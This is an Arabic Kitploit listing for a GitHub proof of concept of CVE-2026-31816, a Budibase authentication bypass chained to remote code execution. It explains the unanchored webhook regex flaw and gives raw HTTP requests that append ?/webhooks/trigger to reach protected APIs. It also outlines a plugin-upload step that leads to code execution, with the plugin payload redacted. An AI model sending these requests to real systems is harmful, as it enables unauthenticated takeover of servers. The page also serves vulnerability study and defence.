Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31816 — CVE-2026-31816 - تجاوز المصادقة في Budibase إلى تنفيذ التعليمات البرمجية عن بُعد | Kitploit
أدوات/GitHubGitHub/k3ystr0k3r/cve-2026-31816
المصادقة والترخيصالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولاتأمن واجهات برمجة التطبيقات
GitHubk3ystr0k3r/cve-2026-31816

CVE-2026-31816

CVE-2026-31816 - تجاوز المصادقة في Budibase إلى تنفيذ التعليمات البرمجية عن بُعد

عرض المستودع
214منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31816 - تجاوز المصادقة في Budibase إلى RCE

CVE CVSS Vendor Type Impact

CVE-2026-31816 هي ثغرة أمنية حرجة في تجاوز المصادقة والتفويض تؤثر على Budibase.

توجد الثغرة في البرمجية الوسيطة للتفويض من جانب الخادم المسؤولة عن حماية نقاط نهاية API. تحاول Budibase تحديد نقاط نهاية webhook الشرعية باستخدام تعبير نمطي غير مثبّت (unanchored regular expression) وتقيّم هذا التعبير مقابل ctx.request.url الخاص بـ Koa.

ولأن ctx.request.url يحتوي على سلسلة الاستعلام (query string)، يمكن للمهاجم حقن مسار يبدو كمسار webhook داخل مكوّن الاستعلام لطلب API لا علاقة له بذلك.

على سبيل المثال:

/api/integrations?/webhooks/trigger

هذا الطلب لا يستهدف في الواقع نقطة نهاية webhook. ومع ذلك، يمكن للفحص الهشّ أن يفسّر /webhooks/trigger كدليل على أن الطلب هو طلب webhook شرعي، ويسمح بمواصلة التنفيذ دون الفحوصات المعتادة للمصادقة والتفويض.

تصف NVD المشكلة بأنها تسمح لمهاجم بعيد غير مصادَق تمامًا بالوصول إلى نقاط نهاية API من جانب الخادم عبر إلحاق نمط مسار webhook بعنوان URL.


معلومات الثغرة

FieldValue
CVECVE-2026-31816
VendorBudibase
ProductBudibase
Affected versions<= 3.31.4
SeverityCritical
CVSS v3.19.1
CVSS VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-74
Attack VectorNetwork
Privileges RequiredNone
User InteractionNone
Authentication RequiredNo

تسجّل NVD إصدارات Budibase حتى 3.31.4 كإصدارات متأثرة وتمنحها درجة 9.1 وفق معيار CVSS 3.1.


السبب الجذري

يتركّز المنطق الهشّ حول عملية كشف webhook التي تتم قبل التفويض الطبيعي.

توثّق النشرة الأمنية تعليمات برمجية مكافئة من الناحية المفاهيمية لما يلي:

const WEBHOOK_ENDPOINTS = new RegExp(
  [
    "webhooks/trigger",
    "webhooks/schema",
    "webhooks/discord",
    "webhooks/ms-teams"
  ].join("|")
)

export function isWebhookEndpoint(ctx) {
    return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}

تكمن المشكلة في الجمع بين سلوكين:

  1. التعبير النمطي غير مثبّت (not anchored).
  2. ctx.request.url يحتوي على سلسلة الاستعلام.

وهذا يعني أن التعبير لا يحتاج إلى مطابقة مسار الطلب الفعلي.

طلب مثل:

/api/some/protected/endpoint?/webhooks/trigger

لا يزال يحتوي على السلسلة:

/webhooks/trigger

داخل عنوان URL الذي يتم اختباره.

بعد ذلك، تعامل البرمجية الوسيطة للتفويض الطلبَ كطلب webhook وتصل إلى نقطة النهاية دون تنفيذ تدفق التفويض الطبيعي.

تحدد النشرة الأمنية من Budibase هذا بوضوح كونه الخلل الأساسي، وتشير إلى أن التجاوز يتخطّى المصادقة والتفويض وفحوصات الأدوار وحماية CSRF.


تجاوز المصادقة

من المتوقع أن يمر الطلب العادي إلى نقطة نهاية API محمية عبر طبقة المصادقة.

على سبيل المثال:

GET /api/integrations HTTP/1.1
Host: target.example
Connection: close

يمكن بدلًا من ذلك الوصول إلى نسخة هشّة باستخدام نمط سلسلة الاستعلام الخاص بـ webhook:

GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close

الجزء المهم هو:

?/webhooks/trigger

نقطة النهاية نفسها لم تتغير:

/api/integrations

تم تعديل سلسلة الاستعلام فقط.

توضح النشرة الأمنية العامة من Budibase هذه التقنية تحديدًا ضد /api/integrations وعدة نقاط نهاية أخرى من جانب الخادم.


التحقق الأدنى

من الطرق الآمنة للتحقق من تجاوز المصادقة في بيئة مختبرية خاضعة للتحكم مقارنة طلب عادي مع النسخة ذات استعلام webhook.

خط الأساس

GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

التجاوز

GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

يمكن للخادم الهشّ معالجة الطلب الثاني دون فحوصات المصادقة التي تحمي نقطة النهاية عادةً.

يستخدم إثبات مفهوم منشور بشكل مشابه:

/api/integrations?/webhooks/trigger

كفحص بسيط للثغرة.


طلب HTTP خام — الوصول إلى API

يوضح ما يلي بنية طلب API مصادَق يتم تحويله إلى طلب غير مصادَق بإضافة نمط webhook.

POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12

{"query":{}}

توثّق النشرة الأمنية الرسمية من Budibase نقطة النهاية هذه كأحد أسطح API المتأثرة.

تشمل نقاط النهاية الأخرى من جانب الخادم الموثّقة بأنها قابلة للوصول عبر الخلل نفسه:

/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins

الملاحظة الأساسية هي أن الثغرة غير مرتبطة بمورد تطبيق معيّن. فالبرمجية الوسيطة للتفويض المتأثرة تقع أمام مجموعة واسعة من واجهات API من جانب الخادم.


سلسلة الاستغلال

يمكن أن يصبح تجاوز المصادقة أكثر خطورة بكثير عند دمجه مع API حسّاس قادر على قبول وظائف يتحكم فيها المهاجم.

يقوم إثبات المفهوم في هذا المستودع بربط الثغرة على النحو التالي:

                    ┌─────────────────────────┐
                    │     Remote attacker     │
                    └────────────┬────────────┘
                                 │
                                 │  ?/webhooks/trigger
                                 ▼
                    ┌─────────────────────────┐
                    │ Budibase authorization  │
                    │       middleware        │
                    └────────────┬────────────┘
                                 │
                                 │ authentication bypass
                                 ▼
                    ┌─────────────────────────┐
                    │ Protected server-side   │
                    │       API endpoints     │
                    └────────────┬────────────┘
                                 │
                                 │ plugin upload
                                 ▼
                    ┌─────────────────────────┐
                    │   /api/plugin/upload    │
                    └────────────┬────────────┘
                                 │
                                 │ crafted plugin
                                 ▼
                    ┌─────────────────────────┐
                    │  Plugin JavaScript code │
                    │      execution          │
                    └────────────┬────────────┘
                                 │
                                 ▼
                          Code execution

يتحقق إثبات المفهوم أولاً من التجاوز ضد /api/integrations، ثم يبني أرشيف إضافة Budibase ويُرسله عبر /api/plugin/upload.

طلب HTTP خام — رفع الإضافة

بمجرد تجاوز التفويض، يتبع طلب رفع الإضافة تنسيق الرفع متعدد الأجزاء (multipart upload) المعتاد، مع إلحاق استعلام webhook الهشّ بعنوان URL.

تمثيل منقّح هو:

POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close

--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip

<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
تنزيل الأداة